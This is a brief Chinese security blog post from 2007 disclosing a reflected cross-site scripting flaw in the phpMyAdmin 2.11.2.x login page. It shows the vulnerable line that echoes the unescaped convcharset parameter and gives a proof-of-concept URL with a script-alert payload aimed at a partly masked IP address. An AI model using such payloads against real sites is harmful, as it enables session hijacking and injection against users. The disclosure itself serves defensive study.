phpMyAdmin 2.11.2.2 登陆页面跨站

phpMyAdmin 2.11.2.1 登陆页面跨站

$ grep -n convcharset libraries/auth/cookie.auth.lib.php
48: * @uses $GLOBALS['convcharset']
236:
<input type="hidden" name="convcharset" value="<?php echo $GLOBALS['convcharset']; ?>" />

一切输入都是有害的。
Test：

http://217.*.*.201/phpMyAdmin/index.php?convcharset=<script>alert(6code)</script>

该日志于2007-11-27 10:34由老周发表在网络安全分类下，你可以发表评论。除了可以将这个日志以保留源地址及作者的情况下引用到你的网站或博客，还可以通过RSS 2.0订阅这个日志的所有评论。

发表评论您必须先登录。